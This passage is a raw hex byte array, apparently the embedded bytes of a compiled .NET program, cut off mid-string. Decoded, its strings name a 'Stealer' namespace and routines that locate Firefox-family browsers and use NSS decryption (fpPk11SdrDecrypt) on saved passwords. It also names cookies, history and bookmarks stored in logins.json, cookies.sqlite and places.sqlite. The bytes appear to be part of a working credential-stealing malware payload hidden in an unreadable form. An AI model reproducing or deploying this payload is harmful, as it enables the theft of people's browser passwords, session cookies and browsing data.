0x79, 0x70, 0x65, 0x48, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x00, 0x47, 0x65, 0x74, 0x54, 0x79, 0x70, 0x65, 0x46, 0x72, 0x6F, 0x6D, 0x48, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x00, 0x46, 0x69, 0x6C, 0x65, 0x00, 0x73, 0x50, 0x72, 0x6F, 0x66, 0x69, 0x6C, 0x65, 0x00, 0x47, 0x65, 0x74, 0x50, 0x72, 0x6F, 0x66, 0x69, 0x6C, 0x65, 0x00, 0x53, 0x65, 0x74, 0x50, 0x72, 0x6F, 0x66, 0x69, 0x6C, 0x65, 0x00, 0x70, 0x72, 0x6F, 0x66, 0x69, 0x6C, 0x65, 0x00, 0x43, 0x6F, 0x6E, 0x73, 0x6F, 0x6C, 0x65, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x73, 0x54, 0x69, 0x74, 0x6C, 0x65, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x73, 0x54, 0x69, 0x74, 0x6C, 0x65, 0x00, 0x68, 0x4D, 0x6F, 0x64, 0x75, 0x6C, 0x65, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x4E, 0x61, 0x6D, 0x65, 0x00, 0x73, 0x50, 0x72, 0x6F, 0x63, 0x4E, 0x61, 0x6D, 0x65, 0x00, 0x74, 0x61, 0x62, 0x6C, 0x65, 0x4E, 0x61, 0x6D, 0x65, 0x00, 0x47, 0x65, 0x74, 0x54, 0x65, 0x6D, 0x70, 0x46, 0x69, 0x6C, 0x65, 0x4E, 0x61, 0x6D, 0x65, 0x00, 0x73, 0x46, 0x69, 0x6C, 0x65, 0x4E, 0x61, 0x6D, 0x65, 0x00, 0x47, 0x65, 0x74, 0x46, 0x69, 0x6C, 0x65, 0x4E, 0x61, 0x6D, 0x65, 0x00, 0x66, 0x69, 0x6C, 0x65, 0x4E, 0x61, 0x6D, 0x65, 0x00, 0x49, 0x74, 0x65, 0x6D, 0x4E, 0x61, 0x6D, 0x65, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x73, 0x4E, 0x61, 0x6D, 0x65, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x73, 0x4E, 0x61, 0x6D, 0x65, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x73, 0x55, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x73, 0x55, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x00, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4C, 0x69, 0x6E, 0x65, 0x00, 0x43, 0x6F, 0x6D, 0x62, 0x69, 0x6E, 0x65, 0x00, 0x56, 0x61, 0x6C, 0x75, 0x65, 0x54, 0x79, 0x70, 0x65, 0x00, 0x53, 0x45, 0x43, 0x49, 0x74, 0x65, 0x6D, 0x54, 0x79, 0x70, 0x65, 0x00, 0x43, 0x6F, 0x6D, 0x70, 0x61, 0x72, 0x65, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x73, 0x49, 0x73, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x73, 0x49, 0x73, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x00, 0x43, 0x61, 0x70, 0x74, 0x75, 0x72, 0x65, 0x00, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x00, 0x44, 0x69, 0x73, 0x70, 0x6F, 0x73, 0x65, 0x00, 0x4D, 0x75, 0x6C, 0x74, 0x69, 0x63, 0x61, 0x73, 0x74, 0x44, 0x65, 0x6C, 0x65, 0x67, 0x61, 0x74, 0x65, 0x00, 0x44, 0x65, 0x62, 0x75, 0x67, 0x67, 0x65, 0x72, 0x42, 0x72, 0x6F, 0x77, 0x73, 0x61, 0x62, 0x6C, 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x00, 0x44, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x00, 0x53, 0x51, 0x4C, 0x69, 0x74, 0x65, 0x00, 0x73, 0x53, 0x69, 0x74, 0x65, 0x00, 0x43, 0x6F, 0x6D, 0x70, 0x69, 0x6C, 0x65, 0x72, 0x47, 0x65, 0x6E, 0x65, 0x72, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x47, 0x75, 0x69, 0x64, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x44, 0x65, 0x62, 0x75, 0x67, 0x67, 0x61, 0x62, 0x6C, 0x65, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x44, 0x65, 0x62, 0x75, 0x67, 0x67, 0x65, 0x72, 0x42, 0x72, 0x6F, 0x77, 0x73, 0x61, 0x62, 0x6C, 0x65, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x43, 0x6F, 0x6D, 0x56, 0x69, 0x73, 0x69, 0x62, 0x6C, 0x65, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6D, 0x62, 0x6C, 0x79, 0x54, 0x69, 0x74, 0x6C, 0x65, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6D, 0x62, 0x6C, 0x79, 0x54, 0x72, 0x61, 0x64, 0x65, 0x6D, 0x61, 0x72, 0x6B, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x46, 0x72, 0x61, 0x6D, 0x65, 0x77, 0x6F, 0x72, 0x6B, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6D, 0x62, 0x6C, 0x79, 0x46, 0x69, 0x6C, 0x65, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6D, 0x62, 0x6C, 0x79, 0x43, 0x6F, 0x6E, 0x66, 0x69, 0x67, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6D, 0x62, 0x6C, 0x79, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x55, 0x6E, 0x6D, 0x61, 0x6E, 0x61, 0x67, 0x65, 0x64, 0x46, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x50, 0x6F, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x43, 0x6F, 0x6D, 0x70, 0x69, 0x6C, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x52, 0x65, 0x6C, 0x61, 0x78, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6D, 0x62, 0x6C, 0x79, 0x50, 0x72, 0x6F, 0x64, 0x75, 0x63, 0x74, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6D, 0x62, 0x6C, 0x79, 0x43, 0x6F, 0x70, 0x79, 0x72, 0x69, 0x67, 0x68, 0x74, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6D, 0x62, 0x6C, 0x79, 0x43, 0x6F, 0x6D, 0x70, 0x61, 0x6E, 0x79, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x52, 0x75, 0x6E, 0x74, 0x69, 0x6D, 0x65, 0x43, 0x6F, 0x6D, 0x70, 0x61, 0x74, 0x69, 0x62, 0x69, 0x6C, 0x69, 0x74, 0x79, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x42, 0x79, 0x74, 0x65, 0x00, 0x68, 0x4D, 0x6F, 0x7A, 0x47, 0x6C, 0x75, 0x65, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x56, 0x61, 0x6C, 0x75, 0x65, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x73, 0x56, 0x61, 0x6C, 0x75, 0x65, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x73, 0x56, 0x61, 0x6C, 0x75, 0x65, 0x00, 0x47, 0x65, 0x74, 0x56, 0x61, 0x6C, 0x75, 0x65, 0x00, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x44, 0x72, 0x69, 0x76, 0x65, 0x00, 0x52, 0x65, 0x6D, 0x6F, 0x76, 0x65, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x53, 0x69, 0x7A, 0x65, 0x00, 0x5F, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7A, 0x65, 0x00, 0x5F, 0x73, 0x71, 0x6C, 0x44, 0x61, 0x74, 0x61, 0x54, 0x79, 0x70, 0x65, 0x53, 0x69, 0x7A, 0x65, 0x00, 0x52, 0x65, 0x73, 0x69, 0x7A, 0x65, 0x00, 0x49, 0x6E, 0x64, 0x65, 0x78, 0x4F, 0x66, 0x00, 0x5F, 0x64, 0x62, 0x45, 0x6E, 0x63, 0x6F, 0x64, 0x69, 0x6E, 0x67, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x52, 0x75, 0x6E, 0x74, 0x69, 0x6D, 0x65, 0x2E, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x69, 0x6E, 0x67, 0x00, 0x46, 0x72, 0x6F, 0x6D, 0x42, 0x61, 0x73, 0x65, 0x36, 0x34, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x00, 0x54, 0x6F, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x00, 0x47, 0x65, 0x74, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x00, 0x53, 0x75, 0x62, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x00, 0x43, 0x6F, 0x6E, 0x76, 0x65, 0x72, 0x74, 0x54, 0x6F, 0x55, 0x4C, 0x6F, 0x6E, 0x67, 0x00, 0x4D, 0x61, 0x74, 0x63, 0x68, 0x00, 0x47, 0x65, 0x74, 0x4D, 0x6F, 0x7A, 0x69, 0x6C, 0x6C, 0x61, 0x50, 0x61, 0x74, 0x68, 0x00, 0x43, 0x6F, 0x70, 0x79, 0x54, 0x65, 0x6D, 0x70, 0x50, 0x61, 0x74, 0x68, 0x00, 0x47, 0x65, 0x74, 0x46, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x50, 0x61, 0x74, 0x68, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x73, 0x50, 0x61, 0x74, 0x68, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x73, 0x50, 0x61, 0x74, 0x68, 0x00, 0x70, 0x61, 0x74, 0x68, 0x00, 0x57, 0x69, 0x6E, 0x41, 0x70, 0x69, 0x00, 0x41, 0x73, 0x79, 0x6E, 0x63, 0x43, 0x61, 0x6C, 0x6C, 0x62, 0x61, 0x63, 0x6B, 0x00, 0x63, 0x61, 0x6C, 0x6C, 0x62, 0x61, 0x63, 0x6B, 0x00, 0x62, 0x42, 0x6F, 0x6F, 0x6B, 0x6D, 0x61, 0x72, 0x6B, 0x00, 0x46, 0x6F, 0x72, 0x6D, 0x61, 0x74, 0x42, 0x6F, 0x6F, 0x6B, 0x6D, 0x61, 0x72, 0x6B, 0x00, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x48, 0x47, 0x6C, 0x6F, 0x62, 0x61, 0x6C, 0x00, 0x46, 0x72, 0x65, 0x65, 0x48, 0x47, 0x6C, 0x6F, 0x62, 0x61, 0x6C, 0x00, 0x4D, 0x61, 0x72, 0x73, 0x68, 0x61, 0x6C, 0x00, 0x6B, 0x65, 0x72, 0x6E, 0x65, 0x6C, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x50, 0x35, 0x58, 0x37, 0x41, 0x34, 0x51, 0x31, 0x53, 0x45, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x73, 0x55, 0x72, 0x6C, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x73, 0x55, 0x72, 0x6C, 0x00, 0x43, 0x76, 0x6C, 0x00, 0x47, 0x76, 0x6C, 0x00, 0x54, 0x53, 0x45, 0x43, 0x49, 0x74, 0x65, 0x6D, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x00, 0x52, 0x6F, 0x6F, 0x74, 0x4E, 0x75, 0x6D, 0x00, 0x72, 0x6F, 0x77, 0x4E, 0x75, 0x6D, 0x00, 0x53, 0x45, 0x43, 0x49, 0x74, 0x65, 0x6D, 0x4C, 0x65, 0x6E, 0x00, 0x50, 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x46, 0x69, 0x6C, 0x65, 0x73, 0x43, 0x68, 0x69, 0x6C, 0x64, 0x72, 0x65, 0x6E, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x52, 0x65, 0x66, 0x6C, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x00, 0x43, 0x61, 0x6C, 0x6C, 0x69, 0x6E, 0x67, 0x43, 0x6F, 0x6E, 0x76, 0x65, 0x6E, 0x74, 0x69, 0x6F, 0x6E, 0x00, 0x41, 0x72, 0x67, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x4E, 0x75, 0x6C, 0x6C, 0x45, 0x78, 0x63, 0x65, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x00, 0x43, 0x6F, 0x6D, 0x6D, 0x6F, 0x6E, 0x00, 0x4A, 0x73, 0x6F, 0x6E, 0x00, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x43, 0x6F, 0x6D, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6F, 0x6E, 0x00, 0x66, 0x70, 0x4E, 0x73, 0x73, 0x53, 0x68, 0x75, 0x74, 0x64, 0x6F, 0x77, 0x6E, 0x00, 0x46, 0x69, 0x6C, 0x65, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x49, 0x6E, 0x66, 0x6F, 0x00, 0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x79, 0x49, 0x6E, 0x66, 0x6F, 0x00, 0x5A, 0x65, 0x72, 0x6F, 0x00, 0x47, 0x72, 0x6F, 0x75, 0x70, 0x00, 0x43, 0x68, 0x61, 0x72, 0x00, 0x53, 0x74, 0x65, 0x61, 0x6C, 0x65, 0x72, 0x2E, 0x52, 0x65, 0x61, 0x64, 0x65, 0x72, 0x00, 0x53, 0x70, 0x65, 0x63, 0x69, 0x61, 0x6C, 0x46, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x00, 0x64, 0x65, 0x6C, 0x69, 0x6D, 0x69, 0x74, 0x65, 0x72, 0x00, 0x47, 0x65, 0x74, 0x44, 0x65, 0x6C, 0x65, 0x67, 0x61, 0x74, 0x65, 0x46, 0x6F, 0x72, 0x46, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x50, 0x6F, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x00, 0x42, 0x69, 0x74, 0x43, 0x6F, 0x6E, 0x76, 0x65, 0x72, 0x74, 0x65, 0x72, 0x00, 0x54, 0x6F, 0x4C, 0x6F, 0x77, 0x65, 0x72, 0x00, 0x42, 0x72, 0x6F, 0x77, 0x73, 0x65, 0x72, 0x44, 0x69, 0x72, 0x00, 0x47, 0x65, 0x74, 0x45, 0x6E, 0x75, 0x6D, 0x65, 0x72, 0x61, 0x74, 0x6F, 0x72, 0x00, 0x2E, 0x63, 0x74, 0x6F, 0x72, 0x00, 0x2E, 0x63, 0x63, 0x74, 0x6F, 0x72, 0x00, 0x44, 0x65, 0x63, 0x72, 0x79, 0x70, 0x74, 0x6F, 0x72, 0x00, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x44, 0x69, 0x61, 0x67, 0x6E, 0x6F, 0x73, 0x74, 0x69, 0x63, 0x73, 0x00, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x73, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x52, 0x75, 0x6E, 0x74, 0x69, 0x6D, 0x65, 0x2E, 0x49, 0x6E, 0x74, 0x65, 0x72, 0x6F, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x52, 0x75, 0x6E, 0x74, 0x69, 0x6D, 0x65, 0x2E, 0x43, 0x6F, 0x6D, 0x70, 0x69, 0x6C, 0x65, 0x72, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x00, 0x44, 0x65, 0x62, 0x75, 0x67, 0x67, 0x69, 0x6E, 0x67, 0x4D, 0x6F, 0x64, 0x65, 0x73, 0x00, 0x43, 0x6F, 0x6F, 0x6B, 0x69, 0x65, 0x73, 0x00, 0x47, 0x65, 0x74, 0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x69, 0x65, 0x73, 0x00, 0x5F, 0x6D, 0x61, 0x73, 0x74, 0x65, 0x72, 0x54, 0x61, 0x62, 0x6C, 0x65, 0x45, 0x6E, 0x74, 0x72, 0x69, 0x65, 0x73, 0x00, 0x5F, 0x74, 0x61, 0x62, 0x6C, 0x65, 0x45, 0x6E, 0x74, 0x72, 0x69, 0x65, 0x73, 0x00, 0x43, 0x6F, 0x70, 0x79, 0x52, 0x65, 0x71, 0x75, 0x69, 0x72, 0x65, 0x64, 0x46, 0x69, 0x6C, 0x65, 0x73, 0x00, 0x50, 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x46, 0x69, 0x6C, 0x65, 0x73, 0x00, 0x5F, 0x66, 0x69, 0x65, 0x6C, 0x64, 0x4E, 0x61, 0x6D, 0x65, 0x73, 0x00, 0x5F, 0x66, 0x69, 0x6C, 0x65, 0x42, 0x79, 0x74, 0x65, 0x73, 0x00, 0x52, 0x65, 0x61, 0x64, 0x41, 0x6C, 0x6C, 0x42, 0x79, 0x74, 0x65, 0x73, 0x00, 0x47, 0x65, 0x74, 0x42, 0x79, 0x74, 0x65, 0x73, 0x00, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x73, 0x00, 0x42, 0x6F, 0x6F, 0x6B, 0x6D, 0x61, 0x72, 0x6B, 0x73, 0x00, 0x45, 0x71, 0x75, 0x61, 0x6C, 0x73, 0x00, 0x42, 0x72, 0x6F, 0x77, 0x73, 0x65, 0x72, 0x55, 0x74, 0x69, 0x6C, 0x73, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x2E, 0x46, 0x6F, 0x72, 0x6D, 0x73, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x54, 0x65, 0x78, 0x74, 0x2E, 0x52, 0x65, 0x67, 0x75, 0x6C, 0x61, 0x72, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6F, 0x6E, 0x73, 0x00, 0x53, 0x74, 0x65, 0x61, 0x6C, 0x65, 0x72, 0x2E, 0x48, 0x65, 0x6C, 0x70, 0x65, 0x72, 0x73, 0x00, 0x52, 0x75, 0x6E, 0x74, 0x69, 0x6D, 0x65, 0x48, 0x65, 0x6C, 0x70, 0x65, 0x72, 0x73, 0x00, 0x47, 0x65, 0x74, 0x4D, 0x6F, 0x7A, 0x69, 0x6C, 0x6C, 0x61, 0x42, 0x72, 0x6F, 0x77, 0x73, 0x65, 0x72, 0x73, 0x00, 0x73, 0x45, 0x6E, 0x63, 0x50, 0x61, 0x73, 0x73, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x00, 0x47, 0x65, 0x74, 0x50, 0x72, 0x6F, 0x63, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x00, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x00, 0x43, 0x6F, 0x6E, 0x63, 0x61, 0x74, 0x00, 0x46, 0x6F, 0x72, 0x6D, 0x61, 0x74, 0x00, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x00, 0x6F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x00, 0x47, 0x65, 0x74, 0x00, 0x52, 0x65, 0x61, 0x64, 0x54, 0x61, 0x62, 0x6C, 0x65, 0x46, 0x72, 0x6F, 0x6D, 0x4F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x00, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x00, 0x53, 0x70, 0x6C, 0x69, 0x74, 0x00, 0x66, 0x70, 0x4E, 0x73, 0x73, 0x49, 0x6E, 0x69, 0x74, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x44, 0x65, 0x66, 0x61, 0x75, 0x6C, 0x74, 0x00, 0x49, 0x41, 0x73, 0x79, 0x6E, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6C, 0x74, 0x00, 0x44, 0x69, 0x61, 0x6C, 0x6F, 0x67, 0x52, 0x65, 0x73, 0x75, 0x6C, 0x74, 0x00, 0x74, 0x73, 0x52, 0x65, 0x73, 0x75, 0x6C, 0x74, 0x00, 0x72, 0x65, 0x73, 0x75, 0x6C, 0x74, 0x00, 0x53, 0x71, 0x6C, 0x53, 0x74, 0x61, 0x74, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x00, 0x45, 0x6E, 0x76, 0x69, 0x72, 0x6F, 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x00, 0x69, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x69, 0x43, 0x6F, 0x75, 0x6E, 0x74, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x69, 0x43, 0x6F, 0x75, 0x6E, 0x74, 0x00, 0x47, 0x65, 0x74, 0x52, 0x6F, 0x77, 0x43, 0x6F, 0x75, 0x6E, 0x74, 0x00, 0x47, 0x65, 0x74, 0x50, 0x61, 0x74, 0x68, 0x52, 0x6F, 0x6F, 0x74, 0x00, 0x66, 0x70, 0x50, 0x6B, 0x31, 0x31, 0x53, 0x64, 0x72, 0x44, 0x65, 0x63, 0x72, 0x79, 0x70, 0x74, 0x00, 0x54, 0x72, 0x69, 0x6D, 0x53, 0x74, 0x61, 0x72, 0x74, 0x00, 0x43, 0x6F, 0x6E, 0x76, 0x65, 0x72, 0x74, 0x00, 0x47, 0x65, 0x63, 0x6B, 0x6F, 0x42, 0x72, 0x6F, 0x77, 0x73, 0x65, 0x72, 0x73, 0x4C, 0x69, 0x73, 0x74, 0x00, 0x4D, 0x6F, 0x76, 0x65, 0x4E, 0x65, 0x78, 0x74, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x54, 0x65, 0x78, 0x74, 0x00, 0x52, 0x65, 0x61, 0x64, 0x41, 0x6C, 0x6C, 0x54, 0x65, 0x78, 0x74, 0x00, 0x53, 0x68, 0x6F, 0x77, 0x00, 0x65, 0x6E, 0x64, 0x49, 0x64, 0x78, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x49, 0x64, 0x78, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x49, 0x6E, 0x64, 0x65, 0x78, 0x00, 0x52, 0x65, 0x67, 0x65, 0x78, 0x00, 0x4D, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x42, 0x6F, 0x78, 0x00, 0x49, 0x6E, 0x69, 0x74, 0x69, 0x61, 0x6C, 0x69, 0x7A, 0x65, 0x41, 0x72, 0x72, 0x61, 0x79, 0x00, 0x54, 0x6F, 0x41, 0x72, 0x72, 0x61, 0x79, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x73, 0x4B, 0x65, 0x79, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x73, 0x4B, 0x65, 0x79, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x73, 0x48, 0x6F, 0x73, 0x74, 0x4B, 0x65, 0x79, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x73, 0x48, 0x6F, 0x73, 0x74, 0x4B, 0x65, 0x79, 0x00, 0x43, 0x6F, 0x70, 0x79, 0x00, 0x4C, 0x6F, 0x61, 0x64, 0x4C, 0x69, 0x62, 0x72, 0x61, 0x72, 0x79, 0x00, 0x46, 0x72, 0x65, 0x65, 0x4C, 0x69, 0x62, 0x72, 0x61, 0x72, 0x79, 0x00, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x79, 0x00, 0x73, 0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x79, 0x00, 0x46, 0x6F, 0x72, 0x6D, 0x61, 0x74, 0x48, 0x69, 0x73, 0x74, 0x6F, 0x72, 0x79, 0x00, 0x54, 0x61, 0x62, 0x6C, 0x65, 0x45, 0x6E, 0x74, 0x72, 0x79, 0x00, 0x53, 0x71, 0x6C, 0x69, 0x74, 0x65, 0x4D, 0x61, 0x73, 0x74, 0x65, 0x72, 0x45, 0x6E, 0x74, 0x72, 0x79, 0x00, 0x6F, 0x70, 0x5F, 0x49, 0x6E, 0x65, 0x71, 0x75, 0x61, 0x6C, 0x69, 0x74, 0x79, 0x00, 0x49, 0x73, 0x4E, 0x75, 0x6C, 0x6C, 0x4F, 0x72, 0x45, 0x6D, 0x70, 0x74, 0x79, 0x00, 0x00, 0x00, 0x1B, 0x70, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x63, 0x00, 0x65, 0x00, 0x73, 0x00, 0x2E, 0x00, 0x73, 0x00, 0x71, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x74, 0x00, 0x65, 0x00, 0x00, 0x1B, 0x6D, 0x00, 0x6F, 0x00, 0x7A, 0x00, 0x5F, 0x00, 0x62, 0x00, 0x6F, 0x00, 0x6F, 0x00, 0x6B, 0x00, 0x6D, 0x00, 0x61, 0x00, 0x72, 0x00, 0x6B, 0x00, 0x73, 0x00, 0x00, 0x03, 0x30, 0x00, 0x00, 0x1D, 0x63, 0x00, 0x6F, 0x00, 0x6F, 0x00, 0x6B, 0x00, 0x69, 0x00, 0x65, 0x00, 0x73, 0x00, 0x2E, 0x00, 0x73, 0x00, 0x71, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x74, 0x00, 0x65, 0x00, 0x00, 0x17, 0x6D, 0x00, 0x6F, 0x00, 0x7A, 0x00, 0x5F, 0x00, 0x63, 0x00, 0x6F, 0x00, 0x6F, 0x00, 0x6B, 0x00, 0x69, 0x00, 0x65, 0x00, 0x73, 0x00, 0x00, 0x15, 0x6D, 0x00, 0x6F, 0x00, 0x7A, 0x00, 0x5F, 0x00, 0x70, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x63, 0x00, 0x65, 0x00, 0x73, 0x00, 0x00, 0x55, 0x46, 0x00, 0x61, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x64, 0x00, 0x20, 0x00, 0x74, 0x00, 0x6F, 0x00, 0x20, 0x00, 0x63, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x79, 0x00, 0x20, 0x00, 0x66, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x73, 0x00, 0x20, 0x00, 0x74, 0x00, 0x6F, 0x00, 0x20, 0x00, 0x64, 0x00, 0x65, 0x00, 0x63, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x20, 0x00, 0x70, 0x00, 0x61, 0x00, 0x73, 0x00, 0x73, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x64, 0x00, 0x73, 0x00, 0x0A, 0x00, 0x00, 0x17, 0x6C, 0x00, 0x6F, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x2E, 0x00, 0x6A, 0x00, 0x73, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x19, 0x2C, 0x00, 0x22, 0x00, 0x6C, 0x00, 0x6F, 0x00, 0x67, 0x00, 0x69, 